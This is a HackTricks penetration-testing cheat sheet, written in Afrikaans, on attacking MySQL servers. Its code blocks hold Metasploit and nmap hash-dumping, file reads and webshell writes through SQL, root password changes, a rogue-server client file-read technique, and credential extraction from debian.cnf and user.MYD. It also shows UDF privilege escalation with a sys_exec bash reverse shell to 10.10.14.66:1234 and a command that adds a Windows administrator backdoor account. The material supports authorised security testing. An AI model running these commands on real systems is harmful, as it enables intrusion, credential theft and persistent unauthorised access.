# 3306 - Pentesting Mysql

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: * As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekerheidgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekerheidspesialiste in elke dissipline. {% embed url="https://www.rootedcon.com/" %} ## **Basiese Inligting** **MySQL** kan beskryf word as 'n oopbron **Relasionele Databasisbestuurstelsel (RDBMS)** wat gratis beskikbaar is. Dit werk met die **Gestruktureerde Vraagtaal (SQL)**, wat die bestuur en manipulasie van databasisse moontlik maak. **Verstekpoort:** 3306 ``` 3306/tcp open mysql ``` ## **Koppel** ### **Plaaslike** ```bash mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) ``` ### Afgeleë ```bash mysql -h -u root mysql -h -u root@localhost ``` ## Eksterne Opsomming Sommige van die opsommingaksies vereis geldige geloofsbriewe ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds msf> use auxiliary/admin/mysql/mysql_enum #Creds msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` ### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mysql) ### Skryf enige binêre data ```bash CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) ``` ## **MySQL-opdragte** ```bash show databases; use ; connect ; show tables; describe ; show columns from ; select version(); #version select @@version(); #version select user(); #User select database(); #database name #Get a shell with the mysql client user \! sh #Basic MySQLi Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables Union Select 1,2,3,4,column_name from information_schema.columns where table_name="

" #Read & Write ## Yo need FILE privilege to read & write to files. select load_file('/var/lib/mysql-files/key.txt'); #Read file select 1,2,"",4 into OUTFILE 'C:/xampp/htdocs/back.php' #Try to change MySQL root password UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root'; UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root'; FLUSH PRIVILEGES; quit; ``` ```bash mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` ### MySQL Toestemmingsopsomming ```sql #Mysql SHOW GRANTS [FOR user]; SHOW GRANTS; SHOW GRANTS FOR 'root'@'localhost'; SHOW GRANTS FOR CURRENT_USER(); # Get users, permissions & hashes SELECT * FROM mysql.user; #From DB select * from mysql.user where user='root'; ## Get users with file_priv select user,file_priv from mysql.user where file_priv='Y'; ## Get users with Super_priv select user,Super_priv from mysql.user where Super_priv='Y'; # List functions SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION'; #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; ``` ### MySQL-lêer RCE Jy kan in die dokumentasie die betekenis van elke voorreg sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute) {% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %} [mysql-ssrf.md](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md) {% endcontent-ref %} ## MySQL willekeurige lees van lêer deur klient Eintlik, wanneer jy probeer om **data lokaal in 'n tabel te laai** die **inhoud van 'n lêer** die MySQL of MariaDB-bediener vra die **klient om dit te lees** en stuur die inhoud. **Dan, as jy 'n mysql-klient kan manipuleer om met jou eie MySQL-bediener te verbind, kan jy willekeurige lêers lees.**\ Let asseblief daarop dat dit die gedrag is wat gebruik word: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` (Observasie van die "plaaslike" woord)\ Want sonder die "plaaslike" kan jy kry: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **Aanvanklike PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **In hierdie dokument kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit uit te brei na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Hier kan jy 'n oorsig van die aanval vind:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)

[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheidgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidsprofessionals in elke dissipline. {% embed url="https://www.rootedcon.com/" %} ## POST ### Mysql-gebruiker Dit sal baie interessant wees as mysql as **root** uitgevoer word: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` #### Gevaarlike Instellings van mysqld.cnf In die konfigurasie van MySQL-diens, word verskeie instellings gebruik om sy werking en sekuriteitsmaatreëls te definieer: * Die **`user`** instelling word gebruik om die gebruiker aan te dui waarvolgens die MySQL-diens uitgevoer sal word. * **`password`** word toegepas om die wagwoord wat met die MySQL-gebruiker geassosieer word, te vestig. * **`admin_address`** spesifiseer die IP-adres wat luister vir TCP/IP-verbindings op die administratiewe netwerkinterface. * Die **`debug`** veranderlike dui op die huidige foutopsporingskonfigurasies, insluitend sensitiewe inligting binne logboeke. * **`sql_warnings`** bestuur of inligtingstreke gegenereer word vir enkelry-invoegingsopdragte wanneer waarskuwings na vore kom, wat sensitiewe data binne logboeke bevat. * Met **`secure_file_priv`** word die omvang van data-invoer- en -uitvoeroperasies beperk om sekuriteit te verbeter. ### Voorreg-opskaling ```bash # Get current user (an all users) privileges and hashes use mysql; select user(); select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user; # Get users, permissions & creds SELECT * FROM mysql.user; mysql -u root --password= -e "SELECT * FROM mysql.user;" # Create user and give privileges create user test identified by 'test'; grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION; # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` ### Voorregskaping via biblioteek Indien die **mysql-bediener as root uitgevoer word** (of 'n ander meer bevoorregte gebruiker) kan jy dit dwing om opdragte uit te voer. Hiervoor moet jy **gebruiker-gedefinieerde funksies** gebruik. En om 'n gebruiker-gedefinieerde te skep, sal jy 'n **biblioteek** vir die bedryfstelsel wat mysql uitvoer, benodig. Die skadelike biblioteek wat gebruik kan word, kan binne sqlmap en binne metasploit gevind word deur **`locate "*lib_mysqludf_sys*"`** te doen. Die **`.so`** lêers is **linux** biblioteke en die **`.dll`** is die **Windows** een, kies die een wat jy benodig. As jy **nie** daardie biblioteke het nie, kan jy hulle of **soek**, of hierdie [**linux C-kode**](https://www.exploit-db.com/exploits/1518) aflaai en **dit binne die kwesbare linux-masjien saamstel**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` Nou dat jy die biblioteek het, teken binne in die Mysql as 'n bevoorregte gebruiker (root?) en volg die volgende stappe: #### Linux ```sql # Use a database use mysql; # Create a table to load the library and move it to the plugins dir create table npn(line blob); # Load the binary library inside the table ## You might need to change the path and file name insert into npn values(load_file('/tmp/lib_mysqludf_sys.so')); # Get the plugin_dir path show variables like '%plugin%'; # Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ # dump in there the library select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so'; # Create a function to execute commands create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; # Execute commands select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt'); select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"'); ``` #### Windows ```sql # CHech the linux comments for more indications USE mysql; CREATE TABLE npn(line blob); INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll')); show variables like '%plugin%'; SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll'; CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` ### Uithaling van MySQL-verifikasie-inligting uit lêers Binne _/etc/mysql/debian.cnf_ kan jy die **plat-teks wagwoord** van die gebruiker **debian-sys-maint** vind ```bash cat /etc/mysql/debian.cnf ``` Jy kan **hierdie geloofsbriewe gebruik om in die mysql-databasis in te teken**. Binne die lêer: _/var/lib/mysql/mysql/user.MYD_ kan jy **al die hasse van die MySQL-gebruikers** vind (diegene wat jy kan onttrek uit mysql.user binne die databasis)_._ Jy kan hulle onttrek deur te doen: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` ### Aktivering van logging Jy kan die log van mysql navrae aktiveer binne `/etc/mysql/my.cnf` deur die volgende lyne uit te skakel: ![](<../.gitbook/assets/image (899).png>) ### Nuttige lêers Konfigurasie lêers * windows \* * config.ini * my.ini * windows\my.ini * winnt\my.ini * \/mysql/data/ * unix * my.cnf * /etc/my.cnf * /etc/mysql/my.cnf * /var/lib/mysql/my.cnf * \~/.my.cnf * /etc/my.cnf * Opdrag Geskiedenis * \~/.mysql.history * Log lêers * connections.log * update.log * common.log ## Standaard MySQL Databasis/Tabelle {% tabs %} {% tab title="information_schema" %} ALL\_PLUGINS\ APPLICABLE\_ROLES\ CHARACTER\_SETS\ CHECK\_CONSTRAINTS\ COLLATIONS\ COLLATION\_CHARACTER\_SET\_APPLICABILITY\ COLUMNS\ COLUMN\_PRIVILEGES\ ENABLED\_ROLES\ ENGINES\ EVENTS\ FILES\ GLOBAL\_STATUS\ GLOBAL\_VARIABLES\ KEY\_COLUMN\_USAGE\ KEY\_CACHES\ OPTIMIZER\_TRACE\ PARAMETERS\ PARTITIONS\ PLUGINS\ PROCESSLIST\ PROFILING\ REFERENTIAL\_CONSTRAINTS\ ROUTINES\ SCHEMATA\ SCHEMA\_PRIVILEGES\ SESSION\_STATUS\ SESSION\_VARIABLES\ STATISTICS\ SYSTEM\_VARIABLES\ TABLES\ TABLESPACES\ TABLE\_CONSTRAINTS\ TABLE\_PRIVILEGES\ TRIGGERS\ USER\_PRIVILEGES\ VIEWS\ INNODB\_LOCKS\ INNODB\_TRX\ INNODB\_SYS\_DATAFILES\ INNODB\_FT\_CONFIG\ INNODB\_SYS\_VIRTUAL\ INNODB\_CMP\ INNODB\_FT\_BEING\_DELETED\ INNODB\_CMP\_RESET\ INNODB\_CMP\_PER\_INDEX\ INNODB\_CMPMEM\_RESET\ INNODB\_FT\_DELETED\ INNODB\_BUFFER\_PAGE\_LRU\ INNODB\_LOCK\_WAITS\ INNODB\_TEMP\_TABLE\_INFO\ INNODB\_SYS\_INDEXES\ INNODB\_SYS\_TABLES\ INNODB\_SYS\_FIELDS\ INNODB\_CMP\_PER\_INDEX\_RESET\ INNODB\_BUFFER\_PAGE\ INNODB\_FT\_DEFAULT\_STOPWORD\ INNODB\_FT\_INDEX\_TABLE\ INNODB\_FT\_INDEX\_CACHE\ INNODB\_SYS\_TABLESPACES\ INNODB\_METRICS\ INNODB\_SYS\_FOREIGN\_COLS\ INNODB\_CMPMEM\ INNODB\_BUFFER\_POOL\_STATS\ INNODB\_SYS\_COLUMNS\ INNODB\_SYS\_FOREIGN\ INNODB\_SYS\_TABLESTATS\ GEOMETRY\_COLUMNS\ SPATIAL\_REF\_SYS\ CLIENT\_STATISTICS\ INDEX\_STATISTICS\ USER\_STATISTICS\ INNODB\_MUTEXES\ TABLE\_STATISTICS\ INNODB\_TABLESPACES\_ENCRYPTION\ user\_variables\ INNODB\_TABLESPACES\_SCRUBBING\ INNODB\_SYS\_SEMAPHORE\_WAITS {% endtab %} {% tab title="mysql" %} columns\_priv\ column\_stats\ db\ engine\_cost\ event\ func\ general\_log\ gtid\_executed\ gtid\_slave\_pos\ help\_category\ help\_keyword\ help\_relation\ help\_topic\ host\ index\_stats\ innodb\_index\_stats\ innodb\_table\_stats\ ndb\_binlog\_index\ plugin\ proc\ procs\_priv\ proxies\_priv\ roles\_mapping\ server\_cost\ servers\ slave\_master\_info\ slave\_relay\_log\_info\ slave\_worker\_info\ slow\_log\ tables\_priv\ table\_stats\ time\_zone\ time\_zone\_leap\_second\ time\_zone\_name\ time\_zone\_transition\ time\_zone\_transition\_type\ transaction\_registry\ user {% endtab %} {% tab title="performance_schema" %} accounts\ cond\_instances\ events\_stages\_current\ events\_stages\_history\ events\_stages\_history\_long\ events\_stages\_summary\_by\_account\_by\_event\_name\ events\_stages\_summary\_by\_host\_by\_event\_name\ events\_stages\_summary\_by\_thread\_by\_event\_name\ events\_stages\_summary\_by\_user\_by\_event\_name\ events\_stages\_summary\_global\_by\_event\_name\ events\_statements\_current\ events\_statements\_history\ events\_statements\_history\_long\ events\_statements\_summary\_by\_account\_by\_event\_name\ events\_statements\_summary\_by\_digest\ events\_statements\_summary\_by\_host\_by\_event\_name\ events\_statements\_summary\_by\_program\ events\_statements\_summary\_by\_thread\_by\_event\_name\ events\_statements\_summary\_by\_user\_by\_event\_name\ events\_statements\_summary\_global\_by\_event\_name\ events\_transactions\_current\ events\_transactions\_history\ events\_transactions\_history\_long\ events\_transactions\_summary\_by\_account\_by\_event\_name\ events\_transactions\_summary\_by\_host\_by\_event\_name\ events\_transactions\_summary\_by\_thread\_by\_event\_name\ events\_transactions\_summary\_by\_user\_by\_event\_name\ events\_transactions\_summary\_global\_by\_event\_name\ events\_waits\_current\ events\_waits\_history\ events\_waits\_history\_long\ events\_waits\_summary\_by\_account\_by\_event\_name\ events\_waits\_summary\_by\_host\_by\_event\_name\ events\_waits\_summary\_by\_instance\ events\_waits\_summary\_by\_thread\_by\_event\_name\ events\_waits\_summary\_by\_user\_by\_event\_name\ events\_waits\_summary\_global\_by\_event\_name\ file\_instances\ file\_summary\_by\_event\_name\ file\_summary\_by\_instance\ global\_status\ global\_variables\ host\_cache\ hosts\ memory\_summary\_by\_account\_by\_event\_name\ memory\_summary\_by\_host\_by\_event\_name\ memory\_summary\_by\_thread\_by\_event\_name\ memory\_summary\_by\_user\_by\_event\_name\ memory\_summary\_global\_by\_event\_name\ metadata\_locks\ mutex\_instances\ objects\_summary\_global\_by\_type\ performance\_timers\ prepared\_statements\_instances\ replication\_applier\_configuration\ replication\_applier\_status\ replication\_applier\_status\_by\_coordinator\ replication\_applier\_status\_by\_worker\ replication\_connection\_configuration\ replication\_connection\_status\ replication\_group\_member\_stats\ replication\_group\_members\ rwlock\_instances\ session\_account\_connect\_attrs\ session\_connect\_attrs\ session\_status\ session\_variables\ setup\_actors\ setup\_consumers\ setup\_instruments\ setup\_objects\ setup\_timers\ socket\_instances\ socket\_summary\_by\_event\_name\ socket\_summary\_by\_instance\ status\_by\_account\ status\_by\_host\ status\_by\_thread\ status\_by\_user\ table\_handles\ table\_io\_waits\_summary\_by\_index\_usage\ table\_io\_waits\_summary\_by\_table\ table\_lock\_waits\_summary\_by\_table\ threads\ user\_variables\_by\_thread\ users\ variables\_by\_thread {% endtab %} {% tab title="sys" %} host\_summary\ host\_summary\_by\_file\_io\ host\_summary\_by\_file\_io\_type\ host\_summary\_by\_stages\ host\_summary\_by\_statement\_latency\ host\_summary\_by\_statement\_type\ innodb\_buffer\_stats\_by\_schema\ innodb\_buffer\_stats\_by\_table\ innodb\_lock\_waits\ io\_by\_thread\_by\_latency\ io\_global\_by\_file\_by\_bytes\ io\_global\_by\_file\_by\_latency\ io\_global\_by\_wait\_by\_bytes\ io\_global\_by\_wait\_by\_latency\ latest\_file\_io\ memory\_by\_host\_by\_current\_bytes\ memory\_by\_thread\_by\_current\_bytes\ memory\_by\_user\_by\_current\_bytes\ memory\_global\_by\_current\_bytes\ memory\_global\_total\ metrics\ processlist\ ps\_check\_lost\_instrumentation\ schema\_auto\_increment\_columns\ schema\_index\_statistics\ schema\_object\_overview\ schema\_redundant\_indexes\ schema\_table\_lock\_waits\ ```markdown schema_table_statistics\ schema_table_statistics_with_buffer\ schema_tables_with_full_table_scans\ schema_unused_indexes\ session\ session_ssl_status\ statement_analysis\ statements_with_errors_or_warnings\ statements_with_full_table_scans\ statements_with_runtimes_in_95th_percentile\ statements_with_sorting\ statements_with_temp_tables\ sys_config\ user_summary\ user_summary_by_file_io\ user_summary_by_file_io_type\ user_summary_by_stages\ user_summary_by_statement_latency\ user_summary_by_statement_type\ version\ wait_classes_global_by_avg_latency\ wait_classes_global_by_latency\ waits_by_host_by_latency\ waits_by_user_by_latency\ waits_global_by_latency\ x$host_summary\ x$host_summary_by_file_io\ x$host_summary_by_file_io_type\ x$host_summary_by_stages\ x$host_summary_by_statement_latency\ x$host_summary_by_statement_type\ x$innodb_buffer_stats_by_schema\ x$innodb_buffer_stats_by_table\ x$innodb_lock_waits\ x$io_by_thread_by_latency\ x$io_global_by_file_by_bytes\ x$io_global_by_file_by_latency\ x$io_global_by_wait_by_bytes\ x$io_global_by_wait_by_latency\ x$latest_file_io\ x$memory_by_host_by_current_bytes\ x$memory_by_thread_by_current_bytes\ x$memory_by_user_by_current_bytes\ x$memory_global_by_current_bytes\ x$memory_global_total\ x$processlist\ x$ps_digest_95th_percentile_by_avg_us\ x$ps_digest_avg_latency_distribution\ x$ps_schema_table_statistics_io\ x$schema_flattened_keys\ x$schema_index_statistics\ x$schema_table_lock_waits\ x$schema_table_statistics\ x$schema_table_statistics_with_buffer\ x$schema_tables_with_full_table_scans\ x$session\ x$statement_analysis\ x$statements_with_errors_or_warnings\ x$statements_with_full_table_scans\ x$statements_with_runtimes_in_95th_percentile\ x$statements_with_sorting\ x$statements_with_temp_tables\ x$user_summary\ x$user_summary_by_file_io\ x$user_summary_by_file_io_type\ x$user_summary_by_stages\ x$user_summary_by_statement_latency\ x$user_summary_by_statement_type\ x$wait_classes_global_by_avg_latency\ x$wait_classes_global_by_latency\ x$waits_by_host_by_latency\ x$waits_by_user_by_latency\ x$waits_global_by_latency {% endtab %} {% endtabs %} ## HackTricks Outomatiese Opdragte ``` ``` Protocol_Name: MySql #Protocol Abbreviation if there is one. Port_Number: 3306 #Comma separated if there is more than one. Protocol_Description: MySql #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for MySql Note: | MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL). https://book.hacktricks.xyz/pentesting/pentesting-mysql Entry_2: Name: Nmap Description: Nmap with MySql Scripts Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306 Entry_3: Name: MySql Description: Attempt to connect to mysql server Command: mysql -h {IP} -u {Username}@localhost Entry_4: Name: MySql consolesless mfs enumeration Description: MySql enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ```

[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kubersekuriteit geleentheid in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie en kubersekuriteit professionele in elke dissipline. {% embed url="https://www.rootedcon.com/" %}

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou hak truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.